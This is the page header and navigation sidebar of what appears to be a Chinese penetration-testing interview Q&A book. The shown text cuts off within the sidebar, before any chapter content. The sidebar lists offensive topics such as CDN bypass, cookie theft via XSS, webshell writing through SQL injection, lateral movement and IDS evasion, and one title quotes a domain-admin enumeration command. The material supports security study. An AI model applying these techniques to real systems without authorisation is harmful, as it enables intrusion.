5297 lines
136 KiB
HTML
5297 lines
136 KiB
HTML
|
||
<!DOCTYPE HTML>
|
||
<html lang="" >
|
||
<head>
|
||
<meta charset="UTF-8">
|
||
<meta content="text/html; charset=utf-8" http-equiv="Content-Type">
|
||
<title>15.31 如何利用 Python 的环境特性在不修改原脚本的前提下，劫持程序执行流程并获取 Root Shell · GitBook</title>
|
||
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
|
||
<meta name="description" content="">
|
||
<meta name="generator" content="GitBook 3.2.3">
|
||
|
||
|
||
|
||
|
||
<link rel="stylesheet" href="../gitbook/style.css">
|
||
|
||
|
||
|
||
|
||
<link rel="stylesheet" href="../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.css">
|
||
|
||
|
||
|
||
<link rel="stylesheet" href="../gitbook/gitbook-plugin-splitter/splitter.css">
|
||
|
||
|
||
|
||
<link rel="stylesheet" href="../gitbook/gitbook-plugin-back-to-top-button/plugin.css">
|
||
|
||
|
||
|
||
<link rel="stylesheet" href="../gitbook/gitbook-plugin-tbfed-pagefooter/footer.css">
|
||
|
||
|
||
|
||
<link rel="stylesheet" href="../gitbook/gitbook-plugin-fontsettings/website.css">
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<meta name="HandheldFriendly" content="true"/>
|
||
<meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=no">
|
||
<meta name="apple-mobile-web-app-capable" content="yes">
|
||
<meta name="apple-mobile-web-app-status-bar-style" content="black">
|
||
<link rel="apple-touch-icon-precomposed" sizes="152x152" href="../gitbook/images/apple-touch-icon-precomposed-152.png">
|
||
<link rel="shortcut icon" href="../gitbook/images/favicon.ico" type="image/x-icon">
|
||
|
||
|
||
<link rel="next" href="15-32.html" />
|
||
|
||
|
||
<link rel="prev" href="15-30.html" />
|
||
|
||
|
||
</head>
|
||
<body>
|
||
|
||
<div class="book">
|
||
<div class="book-summary">
|
||
|
||
|
||
|
||
<nav role="navigation">
|
||
|
||
|
||
|
||
<ul class="summary">
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="chapter " data-level="1.1" data-path="../">
|
||
|
||
<a href="../">
|
||
|
||
|
||
前言
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.2" data-path="../Chapter1/">
|
||
|
||
<a href="../Chapter1/">
|
||
|
||
|
||
1. 信息收集
|
||
|
||
</a>
|
||
|
||
|
||
|
||
<ul class="articles">
|
||
|
||
|
||
<li class="chapter " data-level="1.2.1" data-path="../Chapter1/1-1.html">
|
||
|
||
<a href="../Chapter1/1-1.html">
|
||
|
||
|
||
1.1 如何处理子域名爆破的泛解析问题
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.2.2" data-path="../Chapter1/1-2.html">
|
||
|
||
<a href="../Chapter1/1-2.html">
|
||
|
||
|
||
1.2 如何绕过 CDN 查找真实 IP
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.2.3" data-path="../Chapter1/1-3.html">
|
||
|
||
<a href="../Chapter1/1-3.html">
|
||
|
||
|
||
1.3 phpinfo 页面你会关注哪些信息
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.2.4" data-path="../Chapter1/1-4.html">
|
||
|
||
<a href="../Chapter1/1-4.html">
|
||
|
||
|
||
1.4 如何判断目标操作系统
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.2.5" data-path="../Chapter1/1-5.html">
|
||
|
||
<a href="../Chapter1/1-5.html">
|
||
|
||
|
||
1.5 如何判断是否使用 CDN
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.2.6" data-path="../Chapter1/1-6.html">
|
||
|
||
<a href="../Chapter1/1-6.html">
|
||
|
||
|
||
1.6 有没有了解过 SVN/GIT 源代码泄露
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.2.7" data-path="../Chapter1/1-7.html">
|
||
|
||
<a href="../Chapter1/1-7.html">
|
||
|
||
|
||
1.7 说说域信息收集思路
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.2.8" data-path="../Chapter1/1-8.html">
|
||
|
||
<a href="../Chapter1/1-8.html">
|
||
|
||
|
||
1.8 如何快速定位域控
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.2.9" data-path="../Chapter1/1-9.html">
|
||
|
||
<a href="../Chapter1/1-9.html">
|
||
|
||
|
||
1.9 Wappalyzer 怎么进行指纹识别的
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.2.10" data-path="../Chapter1/1-10.html">
|
||
|
||
<a href="../Chapter1/1-10.html">
|
||
|
||
|
||
1.10 登录验证码怎么绕过
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.2.11" data-path="../Chapter1/1-11.html">
|
||
|
||
<a href="../Chapter1/1-11.html">
|
||
|
||
|
||
1.11 工作组环境下怎么判断是否有域环境
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.2.12" data-path="../Chapter1/1-12.html">
|
||
|
||
<a href="../Chapter1/1-12.html">
|
||
|
||
|
||
1.12 只有一个网卡通过什么方式判断内网中是否有其他网段
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.2.13" data-path="../Chapter1/1-13.html">
|
||
|
||
<a href="../Chapter1/1-13.html">
|
||
|
||
|
||
1.13 说说 Webpack 信息泄露
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.2.14" data-path="../Chapter1/1-14.html">
|
||
|
||
<a href="../Chapter1/1-14.html">
|
||
|
||
|
||
1.14 net group "Domain Admins" /domain 这条命令查询域内管理员没查到，那么可能出现了什么问题，怎么解决
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.2.15" data-path="../Chapter1/1-15.html">
|
||
|
||
<a href="../Chapter1/1-15.html">
|
||
|
||
|
||
1.15 继上题，这条命令的本质究竟是去哪里查
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.2.16" data-path="../Chapter1/1-16.html">
|
||
|
||
<a href="../Chapter1/1-16.html">
|
||
|
||
|
||
1.16 如何判断目标单位的机器是哪种协议出网
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.2.17" data-path="../Chapter1/1-17.html">
|
||
|
||
<a href="../Chapter1/1-17.html">
|
||
|
||
|
||
1.17 NSE 脚本原理
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.2.18" data-path="../Chapter1/1-18.html">
|
||
|
||
<a href="../Chapter1/1-18.html">
|
||
|
||
|
||
1.18 Nmap 的 FIN 扫描和空扫描是什么
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.2.19" data-path="../Chapter1/1-19.html">
|
||
|
||
<a href="../Chapter1/1-19.html">
|
||
|
||
|
||
1.19 为什么要搜集目标单位的控股信息
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.2.20" data-path="../Chapter1/1-20.html">
|
||
|
||
<a href="../Chapter1/1-20.html">
|
||
|
||
|
||
1.20 怎么找边缘资产呢
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.2.21" data-path="../Chapter1/1-21.html">
|
||
|
||
<a href="../Chapter1/1-21.html">
|
||
|
||
|
||
1.21 移动端怎么收集域名呢
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.2.22" data-path="../Chapter1/1-22.html">
|
||
|
||
<a href="../Chapter1/1-22.html">
|
||
|
||
|
||
1.22 SSL 证书有什么用，对信息收集有什么帮助
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.2.23" data-path="../Chapter1/1-23.html">
|
||
|
||
<a href="../Chapter1/1-23.html">
|
||
|
||
|
||
1.23 说说源码泄露搜索
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.2.24" data-path="../Chapter1/1-24.html">
|
||
|
||
<a href="../Chapter1/1-24.html">
|
||
|
||
|
||
1.24 空白页面怎么绕过
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.2.25" data-path="../Chapter1/1-25.html">
|
||
|
||
<a href="../Chapter1/1-25.html">
|
||
|
||
|
||
1.25 JS 接口有什么作用
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.2.26" data-path="../Chapter1/1-26.html">
|
||
|
||
<a href="../Chapter1/1-26.html">
|
||
|
||
|
||
1.26 一个正在运行的网站访问敏感路径回显 403 的原因有哪些
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.2.27" data-path="../Chapter1/1-27.html">
|
||
|
||
<a href="../Chapter1/1-27.html">
|
||
|
||
|
||
1.27 目标存在非常牛的杀软导致无法上线 CS，但是有远控软件怎么做
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.2.28" data-path="../Chapter1/1-28.html">
|
||
|
||
<a href="../Chapter1/1-28.html">
|
||
|
||
|
||
1.28 怎么收集主机上的所有有关密码的敏感信息
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.2.29" data-path="../Chapter1/1-29.html">
|
||
|
||
<a href="../Chapter1/1-29.html">
|
||
|
||
|
||
1.29 Web 配置文件信息怎么收集
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.2.30" data-path="../Chapter1/1-30.html">
|
||
|
||
<a href="../Chapter1/1-30.html">
|
||
|
||
|
||
1.30 抓取到域内 Windows 主机的 Wi-Fi 密码有什么利用思路
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.2.31" data-path="../Chapter1/1-31.html">
|
||
|
||
<a href="../Chapter1/1-31.html">
|
||
|
||
|
||
1.31 请说明 MSF 的扫描模块与 Nmap 或 FScan 相比，在隐蔽性和灵活性上的优势和劣势
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.2.32" data-path="../Chapter1/1-32.html">
|
||
|
||
<a href="../Chapter1/1-32.html">
|
||
|
||
|
||
1.32 请你详细说说你如何定制或魔改一个 MSF 扫描模块使其能更好地绕过流量分析和 IDS/IPS 的检测
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
|
||
</ul>
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.3" data-path="../Chapter2/">
|
||
|
||
<a href="../Chapter2/">
|
||
|
||
|
||
2. XSS
|
||
|
||
</a>
|
||
|
||
|
||
|
||
<ul class="articles">
|
||
|
||
|
||
<li class="chapter " data-level="1.3.1" data-path="../Chapter2/2-1.html">
|
||
|
||
<a href="../Chapter2/2-1.html">
|
||
|
||
|
||
2.1 输出到 href 属性的 XSS 如何防御
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.3.2" data-path="../Chapter2/2-2.html">
|
||
|
||
<a href="../Chapter2/2-2.html">
|
||
|
||
|
||
2.2 XSS 绕过方式
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.3.3" data-path="../Chapter2/2-3.html">
|
||
|
||
<a href="../Chapter2/2-3.html">
|
||
|
||
|
||
2.3 XSS 利用方式
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.3.4" data-path="../Chapter2/2-4.html">
|
||
|
||
<a href="../Chapter2/2-4.html">
|
||
|
||
|
||
2.4 XSS 怎么打内网
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.3.5" data-path="../Chapter2/2-5.html">
|
||
|
||
<a href="../Chapter2/2-5.html">
|
||
|
||
|
||
2.5 XSS 如何绕过 HttpOnly 获取 Cookie
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.3.6" data-path="../Chapter2/2-6.html">
|
||
|
||
<a href="../Chapter2/2-6.html">
|
||
|
||
|
||
2.6 有 Shell 的情况下如何使用 XSS 实现对目标站的长久控制
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
|
||
</ul>
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.4" data-path="../Chapter3/">
|
||
|
||
<a href="../Chapter3/">
|
||
|
||
|
||
3. CSRF
|
||
|
||
</a>
|
||
|
||
|
||
|
||
<ul class="articles">
|
||
|
||
|
||
<li class="chapter " data-level="1.4.1" data-path="../Chapter3/3-1.html">
|
||
|
||
<a href="../Chapter3/3-1.html">
|
||
|
||
|
||
3.1 SameSite 防御 CSRF 的原理
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.4.2" data-path="../Chapter3/3-2.html">
|
||
|
||
<a href="../Chapter3/3-2.html">
|
||
|
||
|
||
3.2 JSON 格式的 CSRF 如何防御
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.4.3" data-path="../Chapter3/3-3.html">
|
||
|
||
<a href="../Chapter3/3-3.html">
|
||
|
||
|
||
3.3 Ajax 发送 POST 请求会发几个数据包
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
|
||
</ul>
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.5" data-path="../Chapter4/">
|
||
|
||
<a href="../Chapter4/">
|
||
|
||
|
||
4. SQL 注入
|
||
|
||
</a>
|
||
|
||
|
||
|
||
<ul class="articles">
|
||
|
||
|
||
<li class="chapter " data-level="1.5.1" data-path="../Chapter4/4-1.html">
|
||
|
||
<a href="../Chapter4/4-1.html">
|
||
|
||
|
||
4.1 过滤逗号的 SQL 注入如何绕过
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.5.2" data-path="../Chapter4/4-2.html">
|
||
|
||
<a href="../Chapter4/4-2.html">
|
||
|
||
|
||
4.2 SQL 报错注入函数有哪些
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.5.3" data-path="../Chapter4/4-3.html">
|
||
|
||
<a href="../Chapter4/4-3.html">
|
||
|
||
|
||
4.3 SQL 延时盲注 sleep() 被禁用怎么绕过
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.5.4" data-path="../Chapter4/4-4.html">
|
||
|
||
<a href="../Chapter4/4-4.html">
|
||
|
||
|
||
4.4 SQL 注入怎么写入 WebShell
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.5.5" data-path="../Chapter4/4-5.html">
|
||
|
||
<a href="../Chapter4/4-5.html">
|
||
|
||
|
||
4.5 宽字节注入漏洞原理
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.5.6" data-path="../Chapter4/4-6.html">
|
||
|
||
<a href="../Chapter4/4-6.html">
|
||
|
||
|
||
4.6 二次注入漏洞原理
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.5.7" data-path="../Chapter4/4-7.html">
|
||
|
||
<a href="../Chapter4/4-7.html">
|
||
|
||
|
||
4.7 堆叠注入漏洞原理
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.5.8" data-path="../Chapter4/4-8.html">
|
||
|
||
<a href="../Chapter4/4-8.html">
|
||
|
||
|
||
4.8 SQLMap 参数 level 与 risk 区别
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.5.9" data-path="../Chapter4/4-9.html">
|
||
|
||
<a href="../Chapter4/4-9.html">
|
||
|
||
|
||
4.9 MySQL 提权方式有哪些
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.5.10" data-path="../Chapter4/4-10.html">
|
||
|
||
<a href="../Chapter4/4-10.html">
|
||
|
||
|
||
4.10 MSSQL 的 xp_cmdshell() 函数被禁用怎么绕过
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.5.11" data-path="../Chapter4/4-11.html">
|
||
|
||
<a href="../Chapter4/4-11.html">
|
||
|
||
|
||
4.11 MySQL 5.0 以上和 5.0 以下的区别
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.5.12" data-path="../Chapter4/4-12.html">
|
||
|
||
<a href="../Chapter4/4-12.html">
|
||
|
||
|
||
4.12 SQL 注入 outfile() 被过滤怎么绕过
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.5.13" data-path="../Chapter4/4-13.html">
|
||
|
||
<a href="../Chapter4/4-13.html">
|
||
|
||
|
||
4.13 SQL 注入中 Post 和 Get 都做了防注入可采用什么方式绕过
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.5.14" data-path="../Chapter4/4-14.html">
|
||
|
||
<a href="../Chapter4/4-14.html">
|
||
|
||
|
||
4.14 SQL 盲注 if() 函数被过滤怎么绕过
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.5.15" data-path="../Chapter4/4-15.html">
|
||
|
||
<a href="../Chapter4/4-15.html">
|
||
|
||
|
||
4.15 SQL 注入无回显利用 DNSLog 如何构造
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.5.16" data-path="../Chapter4/4-16.html">
|
||
|
||
<a href="../Chapter4/4-16.html">
|
||
|
||
|
||
4.16 and or 被过滤怎么绕过
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.5.17" data-path="../Chapter4/4-17.html">
|
||
|
||
<a href="../Chapter4/4-17.html">
|
||
|
||
|
||
4.17 SQLMap 自带脚本有哪些
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.5.18" data-path="../Chapter4/4-18.html">
|
||
|
||
<a href="../Chapter4/4-18.html">
|
||
|
||
|
||
4.18 扫出后缀为 .asp 的数据库文件，访问乱码如何利用
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.5.19" data-path="../Chapter4/4-19.html">
|
||
|
||
<a href="../Chapter4/4-19.html">
|
||
|
||
|
||
4.19 找到一个注入点怎么判断对方什么数据库
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.5.20" data-path="../Chapter4/4-20.html">
|
||
|
||
<a href="../Chapter4/4-20.html">
|
||
|
||
|
||
4.20 单引号被过滤怎么绕过
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.5.21" data-path="../Chapter4/4-21.html">
|
||
|
||
<a href="../Chapter4/4-21.html">
|
||
|
||
|
||
4.21 MySQL 一个 @ 和两个 @ 的区别
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.5.22" data-path="../Chapter4/4-22.html">
|
||
|
||
<a href="../Chapter4/4-22.html">
|
||
|
||
|
||
4.22 为什么 MSSQL 存储过程可以执行命令
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.5.23" data-path="../Chapter4/4-23.html">
|
||
|
||
<a href="../Chapter4/4-23.html">
|
||
|
||
|
||
4.23 如果想通过 MSSQL 上传文件需要开启哪个存储过程的权限
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
|
||
</ul>
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.6" data-path="../Chapter5/">
|
||
|
||
<a href="../Chapter5/">
|
||
|
||
|
||
5. 横向移动
|
||
|
||
</a>
|
||
|
||
|
||
|
||
<ul class="articles">
|
||
|
||
|
||
<li class="chapter " data-level="1.6.1" data-path="../Chapter5/5-1.html">
|
||
|
||
<a href="../Chapter5/5-1.html">
|
||
|
||
|
||
5.1 常见横向方法
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.6.2" data-path="../Chapter5/5-2.html">
|
||
|
||
<a href="../Chapter5/5-2.html">
|
||
|
||
|
||
5.2 CS 上线不出网机器用到的什么类型的 Beacon
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.6.3" data-path="../Chapter5/5-3.html">
|
||
|
||
<a href="../Chapter5/5-3.html">
|
||
|
||
|
||
5.3 PTT 有哪些攻击方法
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.6.4" data-path="../Chapter5/5-4.html">
|
||
|
||
<a href="../Chapter5/5-4.html">
|
||
|
||
|
||
5.4 DCSync 的利用条件
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.6.5" data-path="../Chapter5/5-5.html">
|
||
|
||
<a href="../Chapter5/5-5.html">
|
||
|
||
|
||
5.5 横向渗透命令执行手段
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.6.6" data-path="../Chapter5/5-6.html">
|
||
|
||
<a href="../Chapter5/5-6.html">
|
||
|
||
|
||
5.6 PTH、PTT、PTK 三者区别
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.6.7" data-path="../Chapter5/5-7.html">
|
||
|
||
<a href="../Chapter5/5-7.html">
|
||
|
||
|
||
5.7 一台机器不能出网，如何把一个 exe 文件放到对应的目标机器上去
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.6.8" data-path="../Chapter5/5-8.html">
|
||
|
||
<a href="../Chapter5/5-8.html">
|
||
|
||
|
||
5.8 说说域内委派
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.6.9" data-path="../Chapter5/5-9.html">
|
||
|
||
<a href="../Chapter5/5-9.html">
|
||
|
||
|
||
5.9 怎么定位域管曾经登录哪些机器
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.6.10" data-path="../Chapter5/5-10.html">
|
||
|
||
<a href="../Chapter5/5-10.html">
|
||
|
||
|
||
5.10 现在在域外有一台工作组机器的权限但没有域用户且无法直接通过漏洞进入域内，请问这种情况怎么进入域中找到域控
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.6.11" data-path="../Chapter5/5-11.html">
|
||
|
||
<a href="../Chapter5/5-11.html">
|
||
|
||
|
||
5.11 利用 NTLM Relay 配合 ADCS 这个漏洞的情况需要什么条件
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.6.12" data-path="../Chapter5/5-12.html">
|
||
|
||
<a href="../Chapter5/5-12.html">
|
||
|
||
|
||
5.12 继上题，Responder 应该开在哪台机器上，为什么
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.6.13" data-path="../Chapter5/5-13.html">
|
||
|
||
<a href="../Chapter5/5-13.html">
|
||
|
||
|
||
5.13 继上题，为什么 ADCS 这个漏洞能获取域管理员权限，原理是什么
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.6.14" data-path="../Chapter5/5-14.html">
|
||
|
||
<a href="../Chapter5/5-14.html">
|
||
|
||
|
||
5.14 如果拿到了一套 vCenter 的权限，如何去进一步深入利用
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.6.15" data-path="../Chapter5/5-15.html">
|
||
|
||
<a href="../Chapter5/5-15.html">
|
||
|
||
|
||
5.15 拿到 vCenter 管理员权限，但部分虚拟机处于锁屏状态怎么办
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.6.16" data-path="../Chapter5/5-16.html">
|
||
|
||
<a href="../Chapter5/5-16.html">
|
||
|
||
|
||
5.16 Kerberos 的原理
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.6.17" data-path="../Chapter5/5-17.html">
|
||
|
||
<a href="../Chapter5/5-17.html">
|
||
|
||
|
||
5.17 Flannel、Calico 和 Cilium 有什么区别
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
|
||
</ul>
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.7" data-path="../Chapter6/">
|
||
|
||
<a href="../Chapter6/">
|
||
|
||
|
||
6. 中间件
|
||
|
||
</a>
|
||
|
||
|
||
|
||
<ul class="articles">
|
||
|
||
|
||
<li class="chapter " data-level="1.7.1" data-path="../Chapter6/6-1.html">
|
||
|
||
<a href="../Chapter6/6-1.html">
|
||
|
||
|
||
6.1 Fastjson 漏洞原理
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.7.2" data-path="../Chapter6/6-2.html">
|
||
|
||
<a href="../Chapter6/6-2.html">
|
||
|
||
|
||
6.2 Log4j 漏洞原理
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.7.3" data-path="../Chapter6/6-3.html">
|
||
|
||
<a href="../Chapter6/6-3.html">
|
||
|
||
|
||
6.3 Shiro 反序列化的形成原因及利用链
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.7.4" data-path="../Chapter6/6-4.html">
|
||
|
||
<a href="../Chapter6/6-4.html">
|
||
|
||
|
||
6.4 Shiro 550 721 区别
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.7.5" data-path="../Chapter6/6-5.html">
|
||
|
||
<a href="../Chapter6/6-5.html">
|
||
|
||
|
||
6.5 FastJSON 不出网利用方式
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.7.6" data-path="../Chapter6/6-6.html">
|
||
|
||
<a href="../Chapter6/6-6.html">
|
||
|
||
|
||
6.6 Windows 和 Linux 利用 REDIS 的区别
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.7.7" data-path="../Chapter6/6-7.html">
|
||
|
||
<a href="../Chapter6/6-7.html">
|
||
|
||
|
||
6.7 Nginx CRLF 注入原理
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.7.8" data-path="../Chapter6/6-8.html">
|
||
|
||
<a href="../Chapter6/6-8.html">
|
||
|
||
|
||
6.8 如何判断靶标是否使用 FastJSON
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.7.9" data-path="../Chapter6/6-9.html">
|
||
|
||
<a href="../Chapter6/6-9.html">
|
||
|
||
|
||
6.9 如何判断靶标是否使用 Log4j
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.7.10" data-path="../Chapter6/6-10.html">
|
||
|
||
<a href="../Chapter6/6-10.html">
|
||
|
||
|
||
6.10 如何判断靶标是否使用 Shiro
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.7.11" data-path="../Chapter6/6-11.html">
|
||
|
||
<a href="../Chapter6/6-11.html">
|
||
|
||
|
||
6.11 Nacos 如何通过配置文件拿 Shell
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.7.12" data-path="../Chapter6/6-12.html">
|
||
|
||
<a href="../Chapter6/6-12.html">
|
||
|
||
|
||
6.12 Nacos 不出网利用方式
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.7.13" data-path="../Chapter6/6-13.html">
|
||
|
||
<a href="../Chapter6/6-13.html">
|
||
|
||
|
